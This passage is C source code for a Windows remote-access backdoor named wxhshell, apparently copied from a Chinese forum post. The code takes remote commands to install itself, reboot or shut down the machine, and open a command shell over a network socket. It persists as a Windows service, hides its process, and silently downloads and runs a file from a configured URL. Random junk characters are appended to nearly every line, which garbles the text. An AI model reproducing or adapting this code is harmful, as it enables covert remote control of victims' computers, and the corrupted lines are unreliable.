  } wrc1N?[bn  
  // 安装 8"TlWHF`  
  case 'i': { R xS{  
    if(Install()) E 6+ ooB[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P%ThW9^vnj  
    else , `PYU[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $4*gi&  
    break; EeH ghq  
    } @Ko#nDEq  
  // 卸载 %k<+#j6ZH  
  case 'r': { 39MOqVc  
    if(Uninstall()) bI^F (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Kw7! =_ g  
    else Kn1T2WSAg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?9%$g?3Z  
    break; Tq SjL{l%  
    } '14 86q@[$  
  // 显示 wxhshell 所在路径 v,Zoy|Lu  
  case 'p': { -g:i'e  
    char svExeFile[MAX_PATH]; g}S%D(~  
    strcpy(svExeFile,"\n\r"); f:t j   
      strcat(svExeFile,ExeFile); FY-eoq0O3  
        send(wsh,svExeFile,strlen(svExeFile),0); yY{  
    break; Nv|0Z'M  
    } f|ERZN`uB  
  // 重启 >6Jz=N,  
  case 'b': { %mIdQQ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  [aG   
    if(Boot(REBOOT)) 4T$DQK@e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9'HQu  
    else { #3tC"2MZ  
    closesocket(wsh); ~T/tk?:8Vi  
    ExitThread(0); sgnc$x"  
    } ;VEKrVD  
    break; < 2fy(9y  
    } Yg}b%u,Q  
  // 关机 o^'QGs "  
  case 'd': { $d,/(*Y#-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pFV~1W:  
    if(Boot(SHUTDOWN)) kkW}:dBl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^x$1Nf  
    else { OI8}v  
    closesocket(wsh); \%9QE  
    ExitThread(0); 6y "]2UgQk  
    } 8C? E1fH\  
    break; ;U$Rd,T4S  
    } p>f ?Rw_  
  // 获取shell !]5V{3  
  case 's': { fQwLx  
    CmdShell(wsh); \/C5L:|p_  
    closesocket(wsh); wCV~9JTJ!  
    ExitThread(0); u?rX:KkS  
    break; p$ETAvD  
  } yY*(!^S  
  // 退出 Z$r7Hi  
  case 'x': { ur7S K(#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FUZuS!sJ  
    CloseIt(wsh); R,BINp  
    break; h(GSM'v  
    } ,b5vnW\  
  // 离开 6'x3g2C/  
  case 'q': { g3yZi7b5FU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gm3`/!r  
    closesocket(wsh); =q|//*t2  
    WSACleanup(); :Rnwyj])  
    exit(1); 2[j`bYNe  
    break; lA;qFXaN>  
        } K`60[bdp  
  } :6&#u.\u  
  } ]"?<y s  
/1D.Ud^  
  // 提示信息 i)Q d>(v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G'';VoW=   
} =;F7h @:  
  } FD~ U F;VQ  
;g;1<? [  
  return; LU8:]zOY  
} 3lEP:Jp  
aT+w6{%Z  
// shell模块句柄 /d/]#T[Z9  
int CmdShell(SOCKET sock) ksJ 1:_  
{ ImD&~^-_<  
STARTUPINFO si; 'NCx<0*  
ZeroMemory(&si,sizeof(si)); VR%*8=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,rF!o_7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G:wO1f6  
PROCESS_INFORMATION ProcessInfo; 3OY(L`  
char cmdline[]="cmd"; FFe{=H,=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J\p-5[E  
  return 0; B/^o$i  
} rhX?\_7o  
CJw zjH  
// 自身启动模式 o*"Q{Xh#Qd  
int StartFromService(void) ZG{#CC=  
{ ?Iij[CbU  
typedef struct XW\ 3ttx  
{ 4Ssy (gt  
  DWORD ExitStatus; %o0H#7'  
  DWORD PebBaseAddress; la4%Vqwgu  
  DWORD AffinityMask;  c,M"a  
  DWORD BasePriority; t<$J 3h/"  
  ULONG UniqueProcessId; 3+ 2&9mm  
  ULONG InheritedFromUniqueProcessId; wehiX7y  
}   PROCESS_BASIC_INFORMATION; Twr,O;*u=  
Kb-m  
PROCNTQSIP NtQueryInformationProcess; W^S]"N0u  
VR A+p?7-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A/fM30  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S v#,L8f  
f^F"e'1  
  HANDLE             hProcess; SQ]M"&\{y  
  PROCESS_BASIC_INFORMATION pbi; i70\`6*;B  
h(3-/4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4L4u<  
  if(NULL == hInst ) return 0; ne3t|JZ  
l Ft&cy2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tp }Bz&V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wlslG^^(!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I3izLi  
PlT_]p  
  if (!NtQueryInformationProcess) return 0; ~r'ApeI9  
Lxv_{~I*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tw.z5  
  if(!hProcess) return 0; <X5ge>.  
$fT#Wva-\d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,t9CP  
%nE%^Enw  
  CloseHandle(hProcess); zy8+~\a+Y&  
SJ:Teab  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fA[T5<66  
if(hProcess==NULL) return 0; :Z_abKt  
'?fGI3b~/  
HMODULE hMod; (v:8p!QN  
char procName[255]; q|IU+r:! 3  
unsigned long cbNeeded; (?lT @RY/  
Goy[P2m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +^J;ic  
V`YmGo  
  CloseHandle(hProcess); #J8(*!I  
\_i22/Et  
if(strstr(procName,"services")) return 1; // 以服务启动 BO6XY90(  
$(08!U  
  return 0; // 注册表启动 mv`b3 $  
} E @Rb+8},"  
U!RIeC  
// 主模块 5lM 3In@  
int StartWxhshell(LPSTR lpCmdLine) d-W*`:Q  
{ /[ Rp~YzW  
  SOCKET wsl; gp H@F X  
BOOL val=TRUE; *"6A>:rQs  
  int port=0; =4&"fZ"v  
  struct sockaddr_in door; kE!ky\E  
qzLD  
  if(wscfg.ws_autoins) Install(); xgM\6e  
QA)"3g   
port=atoi(lpCmdLine); zzh7 "M3Qn  
]gF=I5jn]  
if(port<=0) port=wscfg.ws_port; w !<-e>  
knb0_nA  
  WSADATA data; Mii&doU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9y} J|z  
NqFfz9G)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v:>sS_^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "d M-3o<  
  door.sin_family = AF_INET; CDr0QM4k:.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [(.lfa P  
  door.sin_port = htons(port); f'`y-]"V5)  
Mpk7$=hjc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a"Ly9ovW  
closesocket(wsl); O0bOv S  
return 1; )|5mW  
} =KD[#au6a  
t#-4edB,  
  if(listen(wsl,2) == INVALID_SOCKET) { +Q[SddI  
closesocket(wsl); M-F{I%Vx  
return 1; :6m"}8*q8  
} AI,E9  
  Wxhshell(wsl); 300[2}Y]  
  WSACleanup(); 9+.3GRt7  
W3^^aD-  
return 0; U^K8^an$  
ou]jm=4[  
} (l(d0g&p>  
|Vu`-L'Jz  
// 以NT服务方式启动 *7#5pT~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &XXr5ne~C  
{ L&]{GNw  
DWORD   status = 0; Imyw-8/;  
  DWORD   specificError = 0xfffffff; _6YfPk+  
CwyE  8v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j<9^BNl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *<?KOM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /;u=#qu(E-  
  serviceStatus.dwWin32ExitCode     = 0; ') 2LP;(  
  serviceStatus.dwServiceSpecificExitCode = 0; N f}ZG  
  serviceStatus.dwCheckPoint       = 0; [<Mls@?  
  serviceStatus.dwWaitHint       = 0; UF}Ji#fqn  
ygK,t*T20  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W&3,XFnI_  
  if (hServiceStatusHandle==0) return; %;Z_`W  
"{~^EQq,  
status = GetLastError(); J'L6^-gV  
  if (status!=NO_ERROR) SaRn>n\  
{ +HD2]~{EkL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U> <$p{ )  
    serviceStatus.dwCheckPoint       = 0; gzlRK^5  
    serviceStatus.dwWaitHint       = 0; whGtVx|zR  
    serviceStatus.dwWin32ExitCode     = status; N&(MM.\`^  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3q6FV7Fv&b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >rYMOC~  
    return; f Avh!g  
  } "1p, r&}  
y"K[#&,0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yD0DPtti  
  serviceStatus.dwCheckPoint       = 0; 'mF&`BN}b  
  serviceStatus.dwWaitHint       = 0; *w6F0>u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o+- 0`!yj  
} |f$gQI!XW  
]9w TAb  
// 处理NT服务事件,比如:启动、停止 ogV v 8Xb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |F qujZz  
{ ?d k)2  
switch(fdwControl) |ss4pN0X  
{ k[*> nE  
case SERVICE_CONTROL_STOP: rV*Ri~Vx  
  serviceStatus.dwWin32ExitCode = 0; `?d` #) Ck  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?-<>he  
  serviceStatus.dwCheckPoint   = 0; SF"r</c[  
  serviceStatus.dwWaitHint     = 0; R#rfnP >  
  { 5E}]U,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tQTjqy{K  
  } #;;A~d:V  
  return; ':f,RG  
case SERVICE_CONTROL_PAUSE: P"[{s^mb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  KcpQ[6\  
  break; T]\'D&P~D  
case SERVICE_CONTROL_CONTINUE: YjPj#57+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]L3MIaO2T  
  break; {Z>Mnw"R  
case SERVICE_CONTROL_INTERROGATE: \#C]|\  
  break; }1.'2.<Y  
}; ~;t/VsgGW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5k~ 7F.  
} $9W,1wg  
Ak3V< =gx  
// 标准应用程序主函数  Qr-,J_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) crgVedx~}  
{ UH((d*HX4  
{GGP8  
// 获取操作系统版本 Q4g69IE  
OsIsNt=GetOsVer(); Y+0GJuBf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hANe$10=H  
FU)=+m  
  // 从命令行安装 :8]y*j  
  if(strpbrk(lpCmdLine,"iI")) Install(); I(z16wQ  
*-E'$  
  // 下载执行文件 =yPV9#(I/  
if(wscfg.ws_downexe) { I`x[1%y2 F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s+h}O}RV  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q+O./1x*,  
} J2$,'(!(  
4 lwoTGVZj  
if(!OsIsNt) { o76{;Bl\O  
// 如果时win9x,隐藏进程并且设置为注册表启动 iUZV-jl2/  
HideProc(); =i},$"Bf*%  
StartWxhshell(lpCmdLine); | _nBiHjNn  
} TrQUhmS/!  
else e^N}(Kpy  
  if(StartFromService()) \ AB)L{  
  // 以服务方式启动 nUCOHVI7  
  StartServiceCtrlDispatcher(DispatchTable); NFqGbA|  
else U[Lr+nKo\  
  // 普通方式启动 zT>BC}~.b  
  StartWxhshell(lpCmdLine); lx> ."rW  
lnK#q .]  
return 0; .kB!',v\  
}
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只看该作者 1 发表于: 2006-10-10
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